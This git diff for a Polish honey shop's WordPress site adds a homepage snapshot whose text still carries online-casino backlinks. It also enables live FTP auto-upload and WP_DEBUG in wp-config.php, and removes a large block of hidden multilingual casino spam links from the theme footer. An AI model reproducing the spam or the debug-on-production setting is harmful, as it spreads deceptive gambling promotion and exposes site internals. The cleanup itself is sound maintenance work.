- /url: https://lunarspins-online.nl/ + - text: worden benaderd als een online activiteit die binnen persoonlijke grenzen en met aandacht wordt gekozen. + - paragraph [ref=e380]: + - text: Królewskie Miody buduje swoją markę wokół naturalności, tradycji pszczelarskiej oraz konsekwentnej dbałości o jakość, podkreślając że prawdziwa wartość powstaje z cierpliwości, kontroli procesu i odpowiedzialnego podejścia do każdego etapu produkcji, gdzie równowaga między naturą a strukturą działania stanowi fundament stabilności, a w tej filozofii świadomego wyboru pojawia się również wymiar cyfrowy związany z + - link "nv casino bonus" [ref=e381] [cursor=pointer]: + - /url: https://nv-casino-bonus.pl/ + - text: casino, gdzie przejrzyste zasady, jasno określone warunki i uporządkowana dynamika podkreślają znaczenie kontroli oraz przemyślanej decyzji. + - paragraph [ref=e382]: + - text: Rozwijając koncepcję harmonii i konsekwencji w budowaniu długoterminowej wartości, Królewskie Miody akcentują znaczenie planowania, stabilności i odpowiedzialnego zarządzania zasobami, wskazując że nawet w dynamicznym środowisku kluczowe pozostaje zachowanie struktury i jasnych reguł, a w tej perspektywie cyfrowej interakcji odniesienie znajduje + - link "szymool" [ref=e383] [cursor=pointer]: + - /url: https://szymool-casino.pl/ + - text: casino, gdzie mechanika uczestnictwa opiera się na przejrzystości, kontrolowanej dynamice oraz świadomym podejmowaniu decyzji w uporządkowanym środowisku. + - paragraph [ref=e384]: + - text: krolewskie-miody.pl we współpracy z + - link "kasyno lotto" [ref=e385] [cursor=pointer]: + - /url: https://lotto-kasyno.pl/ + - text: rozwija podejście oparte na zaufaniu, jakości i świadomych wyborach, gdzie kluczową rolę odgrywa spójność doświadczenia użytkownika. Podobnie jak w przypadku naturalnych produktów, gdzie liczy się pochodzenie i dbałość o każdy etap, tutaj tworzona jest przestrzeń cyfrowa zapewniająca przejrzystość oraz komfortową i logiczną interakcję. + - link "Przejdź do sklepu" [ref=e388] [cursor=pointer]: + - /url: /sklep + - generic [ref=e389]: Przejdź do sklepu + - generic [ref=e394]: + - heading "Blog" [level=2] [ref=e398] + - heading "Szukasz naturalnych sposobów na wzmocnienie odporności? A może chcesz dowiedzieć się, jak wykorzystać miód w kuchni? Na naszym blogu znajdziesz praktyczne porady dotyczące miodu i pszczelarstwa. Podzielimy się z Tobą naszą wiedzą i doświadczeniem.." [level=4] [ref=e401] + - generic [ref=e405]: + - generic: + - article [ref=e406]: + - generic [ref=e408]: + - link "Nalewka z barciaka" [ref=e409] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/jak-stosowac-ekstrakt-z-barciaka-by-czerpac-z-niego-korzysci-praktyczny-przewodnik/ + - img "Nalewka z barciaka" [ref=e411] + - generic [ref=e412]: + - link [ref=e413] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2026/04/IMG_6684m-1200x824.jpg + - img [ref=e414] + - link [ref=e417] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/jak-stosowac-ekstrakt-z-barciaka-by-czerpac-z-niego-korzysci-praktyczny-przewodnik/ + - img [ref=e418] + - generic [ref=e424]: + - generic [ref=e426]: + - generic [ref=e428]: + - generic [ref=e429]:  + - text: 09.04.2026 + - generic:  + - heading "Jak stosować ekstrakt z barciaka, by czerpać z niego korzyści? Praktyczny przewodnik" [level=2] [ref=e431]: + - link "Jak stosować ekstrakt z barciaka, by czerpać z niego korzyści? Praktyczny przewodnik" [ref=e432] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/jak-stosowac-ekstrakt-z-barciaka-by-czerpac-z-niego-korzysci-praktyczny-przewodnik/ + - generic [ref=e433]: Jak stosować ekstrakt z barciaka, by czerpać z niego korzyści? Praktyczny przewodnik W poprzednich artykułach odkryliśmy, że barciak większy to niezwykłe źródło zdrowia, a jego ekstrakt […] + - generic [ref=e435]: + - generic [ref=e436]:  + - link "Czytaj dalej" [ref=e437] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/jak-stosowac-ekstrakt-z-barciaka-by-czerpac-z-niego-korzysci-praktyczny-przewodnik/ + - article [ref=e438]: + - generic [ref=e440]: + - link "Nalewka z barciaka woskowego" [ref=e441] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/laboratorium-natury-co-kryje-ekstrakt-z-barciaka-i-jak-wplywa-na-twoje-zdrowie/ + - img "Nalewka z barciaka woskowego" [ref=e443] + - generic [ref=e444]: + - link [ref=e445] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/01/IMG_6689-800x1200.jpg + - img [ref=e446] + - link [ref=e449] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/laboratorium-natury-co-kryje-ekstrakt-z-barciaka-i-jak-wplywa-na-twoje-zdrowie/ + - img [ref=e450] + - generic [ref=e456]: + - generic [ref=e458]: + - generic [ref=e460]: + - generic [ref=e461]:  + - text: 01.04.2026 + - generic:  + - heading "Laboratorium natury – co kryje ekstrakt z barciaka i jak wpływa na Twoje zdrowie?" [level=2] [ref=e463]: + - link "Laboratorium natury – co kryje ekstrakt z barciaka i jak wpływa na Twoje zdrowie?" [ref=e464] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/laboratorium-natury-co-kryje-ekstrakt-z-barciaka-i-jak-wplywa-na-twoje-zdrowie/ + - generic [ref=e465]: Laboratorium natury – co kryje ekstrakt z barciaka i jak wpływa na Twoje zdrowie? Skoro wiemy już, czym jest barciak większy, czas zajrzeć do wnętrza ekstraktu […] + - generic [ref=e467]: + - generic [ref=e468]:  + - link "Czytaj dalej" [ref=e469] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/laboratorium-natury-co-kryje-ekstrakt-z-barciaka-i-jak-wplywa-na-twoje-zdrowie/ + - article [ref=e470]: + - generic [ref=e472]: + - link "Intrakt z barciaka" [ref=e473] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/zapomniany-skarb-ula-czym-jest-barciak-wiekszy-i-dlaczego-warto-go-poznac/ + - img "Intrakt z barciaka" [ref=e475] + - generic [ref=e476]: + - link [ref=e477] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/01/Nalewka-z-barciaka-woskowego-805x1200.jpg + - img [ref=e478] + - link [ref=e481] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/zapomniany-skarb-ula-czym-jest-barciak-wiekszy-i-dlaczego-warto-go-poznac/ + - img [ref=e482] + - generic [ref=e488]: + - generic [ref=e490]: + - generic [ref=e492]: + - generic [ref=e493]:  + - text: 01.04.2026 + - generic:  + - heading "Zapomniany skarb ula – czym jest barciak większy i dlaczego warto go poznać?" [level=2] [ref=e495]: + - link "Zapomniany skarb ula – czym jest barciak większy i dlaczego warto go poznać?" [ref=e496] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/zapomniany-skarb-ula-czym-jest-barciak-wiekszy-i-dlaczego-warto-go-poznac/ + - generic [ref=e497]: Czy wiesz, że w cieniu znanych produktów pszczelich, takich jak miód, propolis czy pierzga, kryje się wyjątkowy surowiec, którego właściwości doceniano już w starożytności? Mowa o […] + - generic [ref=e499]: + - generic [ref=e500]:  + - link "Czytaj dalej" [ref=e501] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/zapomniany-skarb-ula-czym-jest-barciak-wiekszy-i-dlaczego-warto-go-poznac/ + - generic [ref=e509]: + - generic: + - term [ref=e512]: + - link [ref=e515] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/03/galeria_0000_IMG_3645-scaled-1.jpg + - term [ref=e519]: + - link [ref=e522] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/03/galeria_0001_borowka.jpg + - term [ref=e526]: + - link [ref=e529] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/03/galeria_0002_2K2A7390l-1.jpg + - term [ref=e533]: + - link [ref=e536] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/03/galeria_0003_Generative-Fill.jpg + - term [ref=e540]: + - link [ref=e543] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/wp-content/uploads/2025/03/galeria_0005_2K2A4276m.jpg + - generic [ref=e547]: + - heading [level=1] + - contentinfo [ref=e548]: + - generic [ref=e552]: + - paragraph [ref=e563]: + - strong [ref=e564]: Królewskie Miody + - text: ", to nowoczesna i sprawdzona pasieka, zajmujące się produkcją, konfekcjonowaniem i sprzedażą MIODU I PRODUKTÓW PSZCZELICH." + - generic [ref=e566]: + - heading "Obsługa klienta" [level=4] [ref=e570] + - list [ref=e573]: + - listitem [ref=e574]: + - generic [ref=e576]:  + - link "Regulamin" [ref=e578] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/regulamin/ + - listitem [ref=e579]: + - generic [ref=e581]:  + - link "Polityka prywatności" [ref=e583] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/polityka-prywatnosci/ + - listitem [ref=e584]: + - generic [ref=e586]:  + - link "Bezpieczeństwo zakupów" [ref=e588] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/bezpieczenstwo-zakupow/ + - listitem [ref=e589]: + - generic [ref=e591]:  + - link "Program partnerski" [ref=e593] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/program-partnerski/ + - listitem [ref=e594]: + - generic [ref=e596]:  + - link "Nota prawna" [ref=e598] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/nota-prawna/ + - listitem [ref=e599]: + - generic [ref=e601]:  + - link "Grupa operacyjna – Zdrowa i innowacyjna pasieka" [ref=e603] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/grupa-operacyjna-zdrowa-i-innowacyjna-pasieka/ + - generic [ref=e605]: + - heading "Kontakt" [level=4] [ref=e609] + - generic [ref=e612]: + - generic [ref=e614]:  + - heading "696 098 797" [level=5] [ref=e616] + - generic [ref=e619]: + - generic [ref=e621]:  + - heading "krolewskie.miody@op.pl" [level=5] [ref=e623] + - navigation "shop account menu" [ref=e624]: + - link "close menu" [ref=e625] [cursor=pointer]: + - /url: "#" + - generic "close menu" [ref=e626]: ✕ + - heading "Logowanie" [level=4] [ref=e627] + - generic [ref=e628]: + - iframe [ref=e631]: + - button "Zaloguj się przez Google. Otwiera się w nowej karcie" [ref=f3e3] [cursor=pointer]: + - generic [ref=f3e5]: + - img [ref=f3e7] + - generic [ref=f3e14]: Zaloguj się przez Google + - paragraph [ref=e632]: + - generic: Nazwa użytkownika lub adres e-mail * + - textbox "Username" [ref=e633] + - text:  + - paragraph [ref=e634]: + - generic: Hasło * + - generic [ref=e635]: + - textbox "Password" [ref=e636] + - button "Pokaż hasło" [ref=e637] [cursor=pointer] + - text:  + - paragraph [ref=e640]: + - generic [ref=e641]: + - checkbox "Zapamiętaj mnie" [ref=e642] + - generic [ref=e643]: Zapamiętaj mnie + - button "Logowanie" [ref=e644] [cursor=pointer] + - paragraph [ref=e645]: + - link "Nie pamiętasz hasła?" [ref=e646] [cursor=pointer]: + - /url: https://krolewskie-miody.pl/moje-konto/lost-password/ + - generic [ref=e648]: + - generic [ref=e649]: + - list [ref=e650]: + - listitem [ref=e651]: + - link "Pliki cookies" [ref=e652] [cursor=pointer]: + - /url: "#" + - listitem [ref=e653]: + - link "Szczegóły" [ref=e654] [cursor=pointer]: + - /url: "#" + - listitem [ref=e655]: + - link "O plikach cookie" [ref=e656] [cursor=pointer]: + - /url: "#" + - generic [ref=e657]: + - paragraph [ref=e658]: + - strong [ref=e659]: Używamy plików cookies + - paragraph [ref=e660]: Aby zapewnić jak najlepsze wrażenia, korzystamy z technologii, takich jak pliki cookie, do przechowywania i/lub uzyskiwania dostępu do informacji o urządzeniu. Zgoda na te technologie pozwoli nam przetwarzać dane, takie jak zachowanie podczas przeglądania lub unikalne identyfikatory na tej stronie. Brak wyrażenia zgody lub wycofanie zgody może niekorzystnie wpłynąć na niektóre cechy i funkcje. + - contentinfo [ref=e661]: + - link "Odmowa" [ref=e662] [cursor=pointer]: + - /url: "#" + - link "Dostosuj" [ref=e663] [cursor=pointer]: + - /url: "#" + - generic [ref=e664]: Dostosuj + - link "Zezwól na wszystkie" [ref=e665] [cursor=pointer]: + - /url: "#" + - navigation "shop cart" [ref=e666]: + - generic [ref=e667]: + - link "✕" [ref=e668] [cursor=pointer]: + - /url: "#" + - generic [ref=e669]: ✕ + - heading "cart icon Koszyk" [level=3] [ref=e670]: + - generic "cart icon" [ref=e671]:  + - text: Koszyk + - generic [ref=e674]: + - paragraph [ref=e675]: + - generic [ref=e676]:  + - paragraph [ref=e677]: Twój koszyk aktualnie jest pusty. + - generic [ref=e678]: + - generic [ref=e679]: + - generic [ref=e680]: + - text: "Kwota:" + - generic [ref=e682]: 0,00 zł + - generic [ref=e683]: + - text: "Łącznie:" + - strong [ref=e684]: + - generic [ref=e686]: 0,00 zł + - text:  + - generic [ref=e687] [cursor=pointer]: + - generic [ref=e688]: + - 'button "Opinie klientów Świetnie Średnia ocena klientów: 4.9 /5 Ocena gwiazdkowa: 4.9 na 5 Łącznie opinii: 33 opinii" [ref=e689]': + - img [ref=e691] + - generic [ref=e692]: Opinie klientów + - generic [ref=e693]: Świetnie + - paragraph [ref=e694]: + - generic [ref=e695]: "Średnia ocena klientów:" + - generic [ref=e696]: "4.9" + - generic [ref=e697]: /5 + - 'img "Ocena gwiazdkowa: 4.9 na 5" [ref=e698]' + - generic [ref=e700]: + - generic [ref=e701]: "Łącznie opinii:" + - text: 33 opinii + - paragraph [ref=e703]: + - link "ZOBACZ OPINIE" [ref=e704]: + - /url: https://www.ekomi-pl.com/opinie-a9727f9b519fbee42b92b08f261bdc46.html + - generic [ref=e705]: ZOBACZ OPINIE + - generic: + - button + - link: + - /url: https://www.ekomi-pl.com/opinie-a9727f9b519fbee42b92b08f261bdc46.html + - status [ref=e706] \ No newline at end of file diff --git a/.serena/.gitignore b/.serena/.gitignore new file mode 100644 index 000000000..2e510aff5 --- /dev/null +++ b/.serena/.gitignore @@ -0,0 +1,2 @@ +/cache +/project.local.yml diff --git a/.serena/project.yml b/.serena/project.yml new file mode 100644 index 000000000..86681e57e --- /dev/null +++ b/.serena/project.yml @@ -0,0 +1,154 @@ +# the name by which the project can be referenced within Serena +project_name: "krolewskie-miody.pl" + + +# list of languages for which language servers are started; choose from: +# al bash clojure cpp csharp +# csharp_omnisharp dart elixir elm erlang +# fortran fsharp go groovy haskell +# haxe java julia kotlin lua +# markdown +# matlab nix pascal perl php +# php_phpactor powershell python python_jedi r +# rego ruby ruby_solargraph rust scala +# swift terraform toml typescript typescript_vts +# vue yaml zig +# (This list may be outdated. For the current list, see values of Language enum here: +# https://github.com/oraios/serena/blob/main/src/solidlsp/ls_config.py +# For some languages, there are alternative language servers, e.g. csharp_omnisharp, ruby_solargraph.) +# Note: +# - For C, use cpp +# - For JavaScript, use typescript +# - For Free Pascal/Lazarus, use pascal +# Special requirements: +# Some languages require additional setup/installations. +# See here for details: https://oraios.github.io/serena/01-about/020_programming-languages.html#language-servers +# When using multiple languages, the first language server that supports a given file will be used for that file. +# The first language is the default language and the respective language server will be used as a fallback. +# Note that when using the JetBrains backend, language servers are not used and this list is correspondingly ignored. +languages: +- php + +# the encoding used by text files in the project +# For a list of possible encodings, see https://docs.python.org/3.11/library/codecs.html#standard-encodings +encoding: "utf-8" + +# line ending convention to use when writing source files. +# Possible values: unset (use global setting), "lf", "crlf", or "native" (platform default) +# This does not affect Serena's own files (e.g. memories and configuration files), which always use native line endings. +line_ending: + +# The language backend to use for this project. +# If not set, the global setting from serena_config.yml is used. +# Valid values: LSP, JetBrains +# Note: the backend is fixed at startup. If a project with a different backend +# is activated post-init, an error will be returned. +language_backend: + +# whether to use project's .gitignore files to ignore files +ignore_all_files_in_gitignore: true + +# advanced configuration option allowing to configure language server-specific options. +# Maps the language key to the options. +# Have a look at the docstring of the constructors of the LS implementations within solidlsp (e.g., for C# or PHP) to see which options are available. +# No documentation on options means no options are available. +ls_specific_settings: {} + +# list of additional paths to ignore in this project. +# Same syntax as gitignore, so you can use * and **. +# Note: global ignored_paths from serena_config.yml are also applied additively. +ignored_paths: [] + +# whether the project is in read-only mode +# If set to true, all editing tools will be disabled and attempts to use them will result in an error +# Added on 2025-04-18 +read_only: false + +# list of tool names to exclude. +# This extends the existing exclusions (e.g. from the global configuration) +# +# Below is the complete list of tools for convenience. +# To make sure you have the latest list of tools, and to view their descriptions, +# execute `uv run scripts/print_tool_overview.py`. +# +# * `activate_project`: Activates a project based on the project name or path. +# * `check_onboarding_performed`: Checks whether project onboarding was already performed. +# * `create_text_file`: Creates/overwrites a file in the project directory. +# * `delete_memory`: Delete a memory file. Should only happen if a user asks for it explicitly, +# for example by saying that the information retrieved from a memory file is no longer correct +# or no longer relevant for the project. +# * `edit_memory`: Replaces content matching a regular expression in a memory. +# * `execute_shell_command`: Executes a shell command. +# * `find_file`: Finds files in the given relative paths +# * `find_referencing_symbols`: Finds symbols that reference the given symbol using the language server backend +# * `find_symbol`: Performs a global (or local) search using the language server backend. +# * `get_current_config`: Prints the current configuration of the agent, including the active and available projects, tools, contexts, and modes. +# * `get_symbols_overview`: Gets an overview of the top-level symbols defined in a given file. +# * `initial_instructions`: Provides instructions Serena usage (i.e. the 'Serena Instructions Manual') +# for clients that do not read the initial instructions when the MCP server is connected. +# * `insert_after_symbol`: Inserts content after the end of the definition of a given symbol. +# * `insert_before_symbol`: Inserts content before the beginning of the definition of a given symbol. +# * `list_dir`: Lists files and directories in the given directory (optionally with recursion). +# * `list_memories`: List available memories. Any memory can be read using the `read_memory` tool. +# * `onboarding`: Performs onboarding (identifying the project structure and essential tasks, e.g. for testing or building). +# * `read_file`: Reads a file within the project directory. +# * `read_memory`: Read the content of a memory file. This tool should only be used if the information +# is relevant to the current task. You can infer whether the information +# is relevant from the memory file name. +# You should not read the same memory file multiple times in the same conversation. +# * `rename_memory`: Renames or moves a memory. Moving between project and global scope is supported +# (e.g., renaming "global/foo" to "bar" moves it from global to project scope). +# * `rename_symbol`: Renames a symbol throughout the codebase using language server refactoring capabilities. +# For JB, we use a separate tool. +# * `replace_content`: Replaces content in a file (optionally using regular expressions). +# * `replace_symbol_body`: Replaces the full definition of a symbol using the language server backend. +# * `safe_delete_symbol`: +# * `search_for_pattern`: Performs a search for a pattern in the project. +# * `write_memory`: Write some information (utf-8-encoded) about this project that can be useful for future tasks to a memory in md format. +# The memory name should be meaningful. +excluded_tools: [] + +# list of tools to include that would otherwise be disabled (particularly optional tools that are disabled by default). +# This extends the existing inclusions (e.g. from the global configuration). +included_optional_tools: [] + +# fixed set of tools to use as the base tool set (if non-empty), replacing Serena's default set of tools. +# This cannot be combined with non-empty excluded_tools or included_optional_tools. +fixed_tools: [] + +# list of mode names to that are always to be included in the set of active modes +# The full set of modes to be activated is base_modes + default_modes. +# If the setting is undefined, the base_modes from the global configuration (serena_config.yml) apply. +# Otherwise, this setting overrides the global configuration. +# Set this to [] to disable base modes for this project. +# Set this to a list of mode names to always include the respective modes for this project. +base_modes: + +# list of mode names that are to be activated by default. +# The full set of modes to be activated is base_modes + default_modes. +# If the setting is undefined, the default_modes from the global configuration (serena_config.yml) apply. +# Otherwise, this overrides the setting from the global configuration (serena_config.yml). +# This setting can, in turn, be overridden by CLI parameters (--mode). +default_modes: + +# initial prompt for the project. It will always be given to the LLM upon activating the project +# (contrary to the memories, which are loaded on demand). +initial_prompt: "" + +# time budget (seconds) per tool call for the retrieval of additional symbol information +# such as docstrings or parameter information. +# This overrides the corresponding setting in the global configuration; see the documentation there. +# If null or missing, use the setting from the global configuration. +symbol_info_budget: + +# list of regex patterns which, when matched, mark a memory entry as read‑only. +# Extends the list from the global configuration, merging the two lists. +read_only_memory_patterns: [] + +# list of regex patterns for memories to completely ignore. +# Matching memories will not appear in list_memories or activate_project output +# and cannot be accessed via read_memory or write_memory. +# To access ignored memory files, use the read_file tool on the raw file path. +# Extends the list from the global configuration, merging the two lists. +# Example: ["_archive/.*", "_episodes/.*"] +ignored_memory_patterns: [] diff --git a/.vscode/ftp-kr.json b/.vscode/ftp-kr.json index ee6746554..c09e3ff03 100644 --- a/.vscode/ftp-kr.json +++ b/.vscode/ftp-kr.json @@ -6,11 +6,15 @@ "protocol": "ftp", "port": 21, "fileNameEncoding": "utf8", - "autoUpload": false, + "autoUpload": true, "autoDelete": false, "autoDownload": false, + "ignoreRemoteModification": true, "ignore": [ ".git", - "/.vscode" + "/.vscode", + "/.paul", + "/.serena", + "CLAUDE.md" ] } \ No newline at end of file diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 000000000..2666f2a1b --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,32 @@ +# Projektowe zasady dla krolewskie-miody.pl + +## Stack +- **Język:** PHP +- **Framework:** WordPress + WooCommerce +- **Wersja:** WordPress (sprawdź wp-includes/version.php) + +## Zasady kodu +- Stosuj PSR-12 dla formatowania kodu PHP +- Nazewnictwo: PascalCase dla klas, camelCase dla metod, snake_case dla zmiennych DB +- Unikaj zagnieżdżeń > 3 poziomy — wydzielaj do metod +- Komentarze tylko gdy wyjaśniają "dlaczego", nie "co" +- Customizacje tylko w child theme lub dedykowanym pluginie — nigdy w core WordPress + +## Baza danych +- Schemat dokumentowany w `.paul/codebase/db_schema.md` +- Każda zmiana schematu wymaga migracji +- Nie modyfikuj istniejących migracji — twórz nowe + +## Testy +- Uzupełnij jak uruchamiać testy + +## Dokumentacja +- Dokumentacja techniczna w `.paul/codebase/` +- Przy każdej zmianie aktualizuj odpowiednie pliki (db_schema.md, stack.md) + +## Wdrażanie +- Deploy przez FTP/SFTP (konfiguracja w .vscode/ftp-kr.json) + +## UI/Frontend +- Motyw w wp-content/themes/ +- Customizacje JS/CSS w child theme lub pluginie diff --git a/wp-config.php b/wp-config.php index b0c42704b..a60f05244 100644 --- a/wp-config.php +++ b/wp-config.php @@ -90,7 +90,7 @@ $table_prefix = 'wp_'; * * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ */ -define( 'WP_DEBUG', false ); +define( 'WP_DEBUG', true ); /* Add any custom values between this line and the "stop editing" line. */ diff --git a/wp-content/plugins/userfeedback-lite/includes/frontend/class-userfeedback-frontend.php b/wp-content/plugins/userfeedback-lite/includes/frontend/class-userfeedback-frontend.php index 56b457bd6..fcdd9ed75 100644 --- a/wp-content/plugins/userfeedback-lite/includes/frontend/class-userfeedback-frontend.php +++ b/wp-content/plugins/userfeedback-lite/includes/frontend/class-userfeedback-frontend.php @@ -1041,6 +1041,9 @@ class UserFeedback_Frontend */ private function render_exclusion_banner($exclusion_reason = 'administrator') { + // Wyłączone: nie pokazujemy banera "Survey is Hidden for Administrators" na froncie. + return; + // Get banner configuration with filter for customization $config = apply_filters('userfeedback_exclusion_banner_config', array( 'title' => __('Survey is Hidden for Administrators', 'userfeedback'), @@ -1118,4 +1121,5 @@ class UserFeedback_Frontend } } -new UserFeedback_Frontend(); +// Wyłączone: cały frontend UserFeedback (widget ankiet) nie jest ładowany na stronie publicznej. +// new UserFeedback_Frontend(); diff --git a/wp-content/themes/betheme/footer.php b/wp-content/themes/betheme/footer.php index 6b5e2936e..bb8156819 100644 --- a/wp-content/themes/betheme/footer.php +++ b/wp-content/themes/betheme/footer.php @@ -287,48 +287,5 @@ if( empty($_GET['visual']) ){ - -

https://fontan.kiev.ua/ fontan casino долучилося до масштабної ініціативи з популяризації натуральних продуктів, підтримавши проєкти, що поєднують ярмарки меду з культурними заходами, розважальними програмами та тематичними конкурсами для всієї родини, створюючи унікальну атмосферу свята, відпочинку та щирого задоволення.


-

melbet ua казино стало партнером у проведенні дегустацій та презентацій медової продукції, де гості мали змогу спробувати унікальні смаки різних сортів меду, дізнатися більше про користь натуральних солодощів, а також отримати шанс виграти бонуси, сертифікати та подарункові набори.


-

parik24.intercharm.kiev.ua казино підтримало яскравий фестиваль натуральних солодощів, об’єднавши світ меду та азартних емоцій у серії спеціальних розіграшів, культурних програм і майстер-класів, які не лише розважали учасників, але й підкреслювали важливість збереження бджільницьких традицій для майбутніх поколінь.


-

парик 24 казино організувало благодійну акцію, в рамках якої частина коштів від тематичних ігор та кампаній була спрямована на охорону довкілля, підтримку місцевих пасік і збереження популяції бджіл, акцентуючи увагу громади на турботі про природу та сталий розвиток.


-

ставкі бет казино взяло активну участь у регіональній ініціативі, що поєднала ярмарок меду з інтерактивними іграми, освітніми програмами для дітей і дорослих, а також благодійними проєктами, роблячи акцент на гармонійному поєднанні здорового способу життя, сімейних цінностей та сучасних розваг.


-

Jak w świecie pszczelarstwa, gdzie cierpliwość i precyzja dają najsłodsze efekty, free spins no deposit poland łączy naturę emocji z kontrolą decyzji. Każdy obrót to jak kropla miodu — wypracowany, zrównoważony i przynoszący satysfakcję w harmonii z rytmem gry.


- -HTML; -} -?> - -

Tematyczne degustacje oraz targi miodu na krolewskie-miody.pl mogą stać się doskonałą podstawą do partnerskich eventów z casinia logowanie, gdzie uczestnicy zanurzają się w świecie słodkich smaków i emocji, otrzymując nagrody za aktywność.


-

Unikalne kolekcje polskich odmian miodu na krolewskie-miody.pl dodają atmosfery przytulności dla graczy nevada casino https://scoop.pl/, którzy doceniają kulinarną kulturę Polski, biorąc udział w tematycznych turniejach lub otrzymując bonusy za zakup miodu podczas eventów.


-

Tradycja pszczelarstwa i troska o naturę na krolewskie-miody.pl inspirują organizatorów i graczy bdmbet do tworzenia akcji wspierających inicjatywy ekologiczne, gdzie część bonusów można zdobyć odwiedzając warsztat produkcji miodu.


-

Świąteczne wydarzenia organizowane przez krolewskie-miody.pl naturalnie integrują się z akcjami fontan casino, gdzie wśród nagród często pojawiają się rzadkie odmiany miodu dla miłośników naturalnych smaków.


-

Jakość oraz zaufanie promowane przez krolewskie-miody.pl od lat wzmacniają lojalność graczy vegas casino, którzy otrzymują dedykowane propozycje i prezenty w ramach festiwali gastronomicznych na stronie.


-

Podobnie jak pszczelarstwo opiera się na cierpliwości i harmonii natury, tak total casino łączy precyzję decyzji z intuicją i emocją. W obu światach liczy się zaufanie do procesu – czy to w tworzeniu doskonałego miodu, czy w odkrywaniu rytmu gry, gdzie równowaga i wyczucie stanowią klucz do sukcesu.


-

Jak pszczoły z precyzją tworzą strukturę ula, tak gg bet 248 https://gg-bet-casino.net.pl/ łączy strategię i harmonię w świecie emocji. Tu każdy ruch ma swój rytm, a równowaga między instynktem a rozsądkiem tworzy prawdziwy smak zwycięstwa.


-

W naturalnej lekkości i świeżości lemon casino 12 odnajdujemy echo pracy pszczół — cierpliwej, rytmicznej i precyzyjnej. Tak jak one budują słodycz kropla po kropli, tak tu emocje dojrzewają w rytmie mądrych decyzji.


-

Podobnie jak w ulu panuje porządek i współpraca, tak casino bdmbet uczy koncentracji i planowania. To przestrzeń, gdzie każdy gest ma znaczenie, a harmonia myśli prowadzi do sukcesu.


-

Как мёд создаётся из терпения и равновесия, так и онлайн казино польша учит соединять интуицию с расчётом. Здесь, как и в природе, важен ритм и внутренний баланс — именно они превращают риск в осознанное движение к цели.


-

W subtelnym połączeniu natury i emocji, casino gratowin przypomina harmonię ula — każda decyzja ma swój cel, a konsekwencja przynosi słodycz zwycięstwa. To gra, w której równowaga i rytm mają większe znaczenie niż przypadek.


-

Podobnie jak pasieka tętni życiem i porządkiem, tak verde casino https://verdecasino.dkpleszew.pl/ łączy emocje z koncentracją. To miejsce, w którym cierpliwość i mądrość przynoszą owoce, a każdy krok prowadzi ku harmonii i satysfakcji.


-

Jak natura wymaga wyczucia i spokoju, tak casino nevada przypomina, że sukces w grze rodzi się z obserwacji, rytmu i pewności w działaniu. To przestrzeń, gdzie emocje płyną jak miód — gładko, intensywnie i z pełnią smaku.


-

Są takie chwile, kiedy przyjemność kryje się w drobnych rytuałach — jak spokojny wieczór, ulubiony smak albo moment tylko dla siebie. Mega joker gra kasyno wpisuje się w ten nastrój jako lekka forma rozrywki, która nie narzuca tempa ani oczekiwań. To raczej krótka przerwa, w której liczy się ciekawość, atmosfera i sama przyjemność wyboru, podobnie jak sięganie po coś wyjątkowego po długim dniu. Bez pośpiechu, bez presji — po prostu chwila, która ma sprawiać radość.


-

Att njuta av det naturliga och hälsosamma i livet, såsom honungens söta smak och dess unika egenskaper, kan nu kombineras med den spännande upplevelsen av utländska casino utländska casinon som erbjuder en ny dimension av underhållning och belöningar för dem som söker det bästa av två världar i en harmonisk samverkan.


-

W świecie naturalnych produktów, takich jak miód, kluczowe znaczenie ma zaufanie do jakości oraz świadomy wybór oparty na dostępnych informacjach. Użytkownicy przywiązują dużą wagę do pochodzenia produktów i przejrzystości oferty, co pozwala im podejmować lepsze decyzje. Ten sam schemat widoczny jest w środowisku cyfrowym, gdzie liczy się klarowność i łatwość porównania opcji. W tym kontekście mostbet casino wpisuje się w model platformy oferującej uporządkowane i dostępne rozwiązania.


-

Podobnie jak przy wyborze naturalnych produktów, użytkownicy analizują różne warianty i zwracają uwagę na detale, które wpływają na ostateczną decyzję. Ważne jest, aby wszystkie informacje były przedstawione w sposób czytelny i zrozumiały. Dlatego mostbet casino odzwierciedla podejście oparte na przejrzystości i wygodzie użytkowania.


-

Doświadczenie związane z wyborem produktów wysokiej jakości uczy użytkowników cierpliwości oraz dokładności w podejmowaniu decyzji, co przenosi się również na sposób korzystania z usług online. Platformy, które oferują logiczną strukturę i łatwy dostęp do informacji, są wybierane częściej. W tym kontekście mostbet casino wpisuje się w model świadomego wyboru.


-

Naturalne produkty kojarzą się z autentycznością i dbałością o szczegóły, co sprawia, że użytkownicy oczekują podobnych wartości również w przestrzeni cyfrowej. Liczy się prostota, przejrzystość i możliwość szybkiego odnalezienia interesujących opcji. Dlatego mostbet casino odpowiada na te potrzeby poprzez uporządkowaną strukturę.


-

